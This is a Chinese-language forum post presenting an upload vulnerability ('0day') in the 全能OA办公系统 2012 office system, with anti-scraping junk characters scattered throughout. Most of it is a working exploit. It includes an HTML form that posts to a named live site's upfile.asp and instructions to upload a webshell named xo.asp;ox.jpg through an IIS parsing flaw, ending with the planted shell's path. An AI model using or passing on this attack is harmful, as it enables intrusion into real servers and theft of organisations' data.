全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
* d. ]9 y0 o6 x  A; p3 T* j4 j/ D​
9 l( [$ V; r( [+ A" _系统介绍：
/ x0 k! C* L, V3 C/ ~! E' [1 ]
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

6 D9 i& H+ i# P5 v& L6 s/ c6 \( P主要功能：
  w/ h5 {# B. v. X公司通告
$ ~: }, P: P: e6 D  w- Z工作计划
通讯助理
客户资源
我的公文
公文传阅
公共资源
3 |0 m7 K. X$ A. S) U资源预约
5 W4 z0 f3 D, M' {今日考勤
个人计划
个人通讯录
个人基本档案
未读邮件
: B1 l& L6 H  J8 L1 e发邮件
$ w' D9 L) I) t4 V1 F收件夹
寄件夹
7 R7 O5 X% I4 H1 F- ~7 e" ?9 B2 G网络硬盘
2 A1 q, {# ]9 V) ~1 S, J& L. d网络会议
网络调查
1 ~* B; `& b1 ^% ~1 Y交流论坛
0 ^& N% z3 C8 B# D8 t
  C. v1 b1 W, u有兴趣测试的朋友可以下源码看看
2 f7 E  f! @- O& C' T7 J
! l" K) d4 A9 t% u$ z! Q源码下载：
" Y" o! _, i2 K- t: G
http://www.mycodes.net/30/4750.htm
0 _" x+ ^; N( O* J  L- `. y
/ |$ _' D) d7 k5 V1 \, O+ p" I) p漏洞介绍：

由upfile.asp上传文件漏洞引起
. z' Z2 i9 \( o: B
测试方法：
0 `( ~1 R( i" W* d$ l2 P- ]. E- B
0 U, _9 ?# @5 @  [7 u: Q, T使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。
+ n; `# a$ J+ k  G" N; U+ e2 Z
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
0 c8 Z7 Y4 O6 Q6 \4 E0 V
% ^* h. c, u+ b如果存在那么将如下代码保存为upfile.html。
9 S' U% }- ]3 k+ e% {* n
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。



01 <table border='0' align="center" cellpadding="5">
/ z) M/ l9 l) `1 {
* C) g3 g/ z# Q3 t02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

4 G* P2 Z5 ^) _0 \/ q03 <tr>

04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

* o6 s- W2 o5 G+ H) y06               自动更名

9 U6 P4 C+ d  Z% a07               <input type='radio' name='errnumber' value='1' checked>
% g9 W# L% F- i8 X! G8 Z7 Z
; R7 ~8 N- K- _# s2 x$ ?08               报错方式

# E6 n2 j; b" d! L& A" ~" ~09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>

% C' B6 H2 ~$ h11           </tr>
1 d- j/ y2 D3 u+ {1 `" P
12           <tr>
( n/ v. L: ^* f2 Z! E
0 I5 k6 f) o3 g  [2 M13             <td>主题：</td>
) ]+ O0 J7 M& P+ X# n  P
! h6 S6 r; H& n4 c# [8 H6 J14             <td><input type='text' name='filename' size='30'></td>
. W$ K9 f' I! ^  l1 Q+ v% A% q
9 r. J" [, F1 {9 F15           </tr>
& D& U, r3 ]) c$ q1 X, g' @
16           <tr>
1 Q0 t" `) }  d: a( t% J4 S* s- Z
17             <td>文件：</td>
1 H( L/ b8 r, W! E( r8 s  a
- d5 s9 d& w" Q$ u" G) M& S18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
- S3 {/ O, {+ b7 ]9 E) d4 }
20           <tr>

21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
0 U' B; D# C, c" C
4 d7 ]  _* t; a! k1 B23           </tr>
$ P, ]4 m! f, S9 n6 i
24   
* j1 S) S! @8 A) e" X: q; z
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
5 L! o; f# w0 Z( t' c
6 ?/ {' G" z: L; |27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

6 D/ z% I; O' A, r3 g5 ]+ ]$ U

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
& `4 ]7 j& V9 r$ K- U' M. A) k: v
此漏洞需要配合解析漏洞利用。
, D1 @" x4 s! c; O" M% s; Z5 y
0 G6 r  c% p8 n5 w0 u5 a- C6 l